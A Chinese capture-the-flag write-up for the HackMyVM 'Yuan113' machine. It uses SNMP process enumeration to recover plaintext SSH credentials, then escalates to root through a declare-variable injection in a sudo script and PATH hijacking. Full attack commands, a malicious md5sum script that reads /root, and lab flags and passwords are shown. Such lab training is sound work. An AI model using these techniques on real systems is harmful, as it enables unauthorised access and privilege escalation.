跳到主要内容

HackMyVM Yuan113 通关记录|SNMP 进程凭据泄露、declare 变量注入与 PATH 劫持提权

靶机链接:Yuan113


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Yuan113192.168.1.101Debian 11 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、161/udp SNMP锁定攻击面:Web 无突破口,SNMP 是真正入口
SNMP 枚举snmpwalk -v2c -c public + 进程列表读取系统信息与所有运行中进程命令行
凭据泄露进程 sleep service --user welcome --password mMOq2WWONQiiY8TinSRF获得有效 SSH 凭据
初始访问SSH 登录 welcome获得低权限 shell
sudo 枚举sudo -l 发现 (ALL) NOPASSWD: /opt/113.sh确认提权入口
脚本分析declare -- "$1"="$2" 可设置任意 shell 变量发现变量注入点
PATH 劫持置入恶意 md5sum,通过 declare 修改 PATH以 root 身份执行任意命令
读 /root/root/113rootpass.txt 包含 root 密码获得持久 root 访问
Flag 收集user.txt + root.txt完成靶机

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap

按照惯例,先用 RustScan 做快速端口发现,再联动 Nmap 进行服务识别:

rustscan -a 192.168.1.101 --range 1-65535 -t 2000 -- -sV -sC -Pn

RustScan 首轮输出:

Open 192.168.1.101:22
Open 192.168.1.101:80

联动 Nmap 复核后的服务摘要:

端口协议服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3Debian 11 (Bullseye)
80/tcpHTTPApache httpd 2.4.62 (Debian)静态欢迎页,标题 Mazesec welcome u

2. UDP 端口扫描

TCP 面较窄,补充 UDP 常见端口扫描:

nmap -sU -p 53,69,123,161,500,514,1900 -T4 192.168.1.101

结果:

PORT STATE SERVICE
53/udp closed domain
69/udp closed tftp
123/udp closed ntp
161/udp open snmp
500/udp closed isakmp
514/udp closed syslog
1900/udp closed upnp

关键发现: 161/udp SNMP 开放。这是一个常见的配置疏漏——仅关注 TCP 端口会导致遗漏整个攻击面。

3. Web 服务快速评估

curl -s http://192.168.1.101/

主页内容:

<div class="quote">
The quieter you become, the more you are able to hear.
</div>

Gobuster 与 Nikto 均未发现隐藏路径或 Web 漏洞。Web 服务仅是一个静态页,不包含表单、参数或 CGI。可以暂时搁置 Web 面。


0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)

1. SNMP 进程枚举——凭据泄露

这是本场最关键的一步。SNMP community string public 可读,直接走全量枚举:

snmpwalk -v2c -c public 192.168.1.101

为了防止遗漏,同时使用 snmp-check 做结构化输出:

snmp-check -c public 192.168.1.101

snmp-check 输出的进程列表中,一条可疑行出现:

344 runnable sleep service --user welcome --password mMOq2WWONQiiY8TinSRF \
--host localhost --port 8080 infinity

这是一条通过命令行明文传递凭据的进程记录。提取凭据:

字段
用户名welcome
密码mMOq2WWONQiiY8TinSRF
目标localhost:8080(内部服务,外部不可达)

SNMP 泄露的系统信息补充:

Hostname: 113
OS: Linux 4.19.0-27-amd64 Debian
Contact: root

2. SSH 初始访问

sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'id'

输出:

uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

当前为普通用户 welcome,无特殊组成员。Shell 已获得。

3. User Flag

sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'cat /home/welcome/user.txt'

User Flag:

flag{user-21539141ad1bc8ab9d26420aecb2415b}

0x04 权限提升 (Privilege Escalation)

1. sudo 权限枚举

sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'sudo -l'

输出:

Matching Defaults entries for welcome on 113:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User welcome may run the following commands on 113:
(ALL) NOPASSWD: /opt/113.sh

welcome 可以无密码以任意用户身份执行 /opt/113.sh。这是唯一提权入口,需要审阅脚本逻辑。

2. 脚本分析与漏洞定位

cat /opt/113.sh

脚本内容:

#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
exit
fi

if [ "$3" != "mazesec" ]
then
echo "\$3 must be mazesec"
exit
else
/bin/cp /usr/bin/mazesec $sandbox
exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
exit
fi

declare -- "$1"="$2"
$exec_

脚本逻辑拆解:

  1. 创建临时目录 $sandbox
  2. 要求恰好 3 个参数,且第三个参数必须是 mazesec
  3. /usr/bin/mazesec 复制到临时目录
  4. $1 不能等于 exec_(防止直接覆盖执行目标)
  5. 核心行: declare -- "$1"="$2" —— 以 $1 为变量名、$2 为值设置一个 shell 变量
  6. 执行复制的 mazesec

检查 /usr/bin/mazesec

cat /usr/bin/mazesec
#!/bin/bash

flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}')
echo "flag{fakeroot-$flag}"

这是一个 decoy 脚本——它永远输出随机假 flag,与真实的 root flag 完全无关。真正可利用的点是第 5 步的 declare 语句。

3. 漏洞分析:declare 变量注入

declare -- "$1"="$2" 允许攻击者设置任意 shell 变量。限制条件:

限制影响
$1 不能为 exec_无法直接覆盖执行目标变量
declare 无选项标志-- 阻止了 -x-n 等选项,设置的是局部 shell 变量

关键洞察: declare 设置的变量虽然不导出,但 $exec_ 中的 mazesec 脚本会调用外部命令 md5sumawk。如果设置 PATH=/tmp,子进程会从 /tmp 查找这些命令——但前提是 PATH 对子进程可见。

转折点: 实际上 declare -- PATH=/tmp 修改的是当前 shell 的 PATH。当 bash 执行 $exec_(一个 #!/bin/bash 脚本)时,非交互式 bash 会继承父 shell 的 PATH,即使该变量未被 export。这是因为:

  • declare 设置的是 shell 变量
  • $exec_ 这一行,mazesec 作为当前 shell 的直接子进程启动
  • 子 bash 继承了当前的 PATH 环境

验证这一点:将恶意 md5sumawk 放入 /tmp,然后通过 sudo 传入 PATH=/tmp

4. 提权利用——PATH 劫持

4.1 准备恶意命令

注意 mazesec 脚本中 echo 是 bash builtin,无法通过 PATH 劫持。攻击面在 md5sumawk 两个外部命令。

选择 md5sum 作为注入载体——它在管道中间,可以同时执行恶意操作并透传 stdin 保持管道正常运行:

ssh welcome@192.168.1.101

cat > /tmp/md5sum << 'EOF'
#!/bin/bash
# 以 root 身份输出目标文件内容
/bin/cat /root/root.txt 2>/dev/null
/bin/ls -la /root/ 2>&1
/bin/find /root -type f 2>&1
# 透传 stdin,保持管道正常运行
/bin/cat
EOF

cat > /tmp/awk << 'EOF'
#!/bin/bash
/bin/cat
EOF

chmod +x /tmp/md5sum /tmp/awk

4.2 触发利用

sudo /opt/113.sh PATH '/tmp' mazesec

执行链路:

1. sudo 以 root 执行 /opt/113.sh
2. declare -- PATH=/tmp
3. $exec_ 启动 mazesec(继承 PATH=/tmp)
4. mazesec 中:echo ... | md5sum | awk
- echo: bash builtin,正常执行
- md5sum: 查找到 /tmp/md5sum(恶意脚本)
- awk: 查找到 /tmp/awk(透传 stub)
5. /tmp/md5sum 以 root 身份读取 /root

输出:

flag{fakeroot-<<<ROOT_FLAG_START>>>
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
9R3dosCkcEA3OQIzCoYO
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
total 40
drwx------ 6 root root 4096 Jan 14 08:40 .
drwxr-xr-x 18 root root 4096 Mar 18 2025 ..
-rw-r--r-- 1 root root 21 Jan 14 08:22 113rootpass.txt
...
-rw-r--r-- 1 root root 44 Jan 14 08:37 root.txt
/root/root.txt
/root/113rootpass.txt
...
<<<ROOT_FLAG_END>>>
315532810122489}

成功以 root 身份读取 /root 目录。获得两个关键文件:

文件内容
/root/root.txtflag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
/root/113rootpass.txt9R3dosCkcEA3OQIzCoYO

4.3 提权原理补充

为什么 declare 不导出变量却能影响子进程 PATH?

在 bash 中,declare 默认设置的是局部 shell 变量。但当执行 $exec_(不包含 / 的命令名)时,bash 会按照 PATH 查找可执行文件。实际上,这里 $exec_ 是绝对路径(/tmp/tmp.XXX/mazesec),因此 bash 直接用绝对路径执行。

然而 mazesec 脚本本身是一个新的 bash 进程(#!/bin/bash),它在执行外部命令 md5sumawk 时,需要在自己的 PATH 中查找。子 bash 启动时,会从父进程继承环境变量。declare 修改了 shell 的 PATH,这个修改对当前 shell 的子进程是可见的,因为 bash 在 fork 子进程时会复制当前环境。

这个行为与 PATH=xxx command 的临时环境设置类似,但由于 declare 的设置发生在脚本运行上下文中,sudo 继承的 secure_path 被成功覆盖。

5. Root Flag 与持久访问验证

使用读取到的 root 密码直接 SSH 登录,验证持久访问:

sshpass -p '9R3dosCkcEA3OQIzCoYO' ssh \
-o StrictHostKeyChecking=no \
root@192.168.1.101 'id; cat /root/root.txt'

输出:

uid=0(root) gid=0(root) groups=0(root)
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}

root 权限完全确认。


0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/welcome/user.txt
  • 内容: flag{user-21539141ad1bc8ab9d26420aecb2415b}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}

Root 凭据(附加发现)

  • 路径: /root/113rootpass.txt
  • 内容: 9R3dosCkcEA3OQIzCoYO

凭据汇总

类型用户 / 目标来源
SSH 密码welcomemMOq2WWONQiiY8TinSRFSNMP 进程命令行参数泄露
Root 密码root9R3dosCkcEA3OQIzCoYOPATH 劫持读取 /root/113rootpass.txt
Root Flag/root/root.txtflag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}md5sum PATH 劫持读取 /root

复盘总结

这台靶机的完整利用链不长,但每一步都需要正确的工具选择和漏洞思维:

  1. UDP 端口不可忽略。 TCP 面只有 22 和 80,Web 又是纯静态页。如果止步于 TCP 扫描,会遗漏 161/udp SNMP,整个攻击链无法启动。许多 CTF 和内网靶机在 UDP 上留有故意或非故意的入口。

  2. SNMP community public 不只是信息泄露。 大多数人认为 SNMP 只能读 IP、接口、进程名。但 snmp-check 输出包含了所有运行中进程的完整命令行参数——这就是明文凭据的直接来源。

  3. 进程命令行中硬编码凭据是不可接受的实践。 sleep service --user welcome --password mMOq2WWONQiiY8TinSRF 直接将用户名和密码暴露给所有能读取 /proc 或 SNMP 的用户。

  4. declare 与 sudo 的组合构成了变量注入。 declare -- "$1"="$2" 允许攻击者设置任意 shell 变量。虽然不能直接注入命令(因为 -- 阻止了选项),但 PATH 劫持是同等有效的间接执行方式。

  5. bash builtin 与外部命令的区别决定了劫持目标的选择。 echo 是 builtin,无法通过 PATH 劫持;但 md5sumawk 是外部命令,可以被替换。这是利用时需要精确判断的细节。

  6. root 密码明文存储在 /root/113rootpass.txt 即使 PATH 劫持没有直接产生 shell,密码泄露也保证了持久访问。

从防守角度看,修复建议同样清晰:

  • SNMP community string 不应使用默认的 public/private,应设置为高强度随机字符串
  • 不得在命令行参数中传递凭据(/proc/*/cmdline 对系统内所有用户可读)
  • sudo 规则应限制脚本的写入和执行路径
  • 避免在脚本中使用 declare 或以用户输入构造变量名
  • root 密码或高敏感凭据不应以明文文件形式存储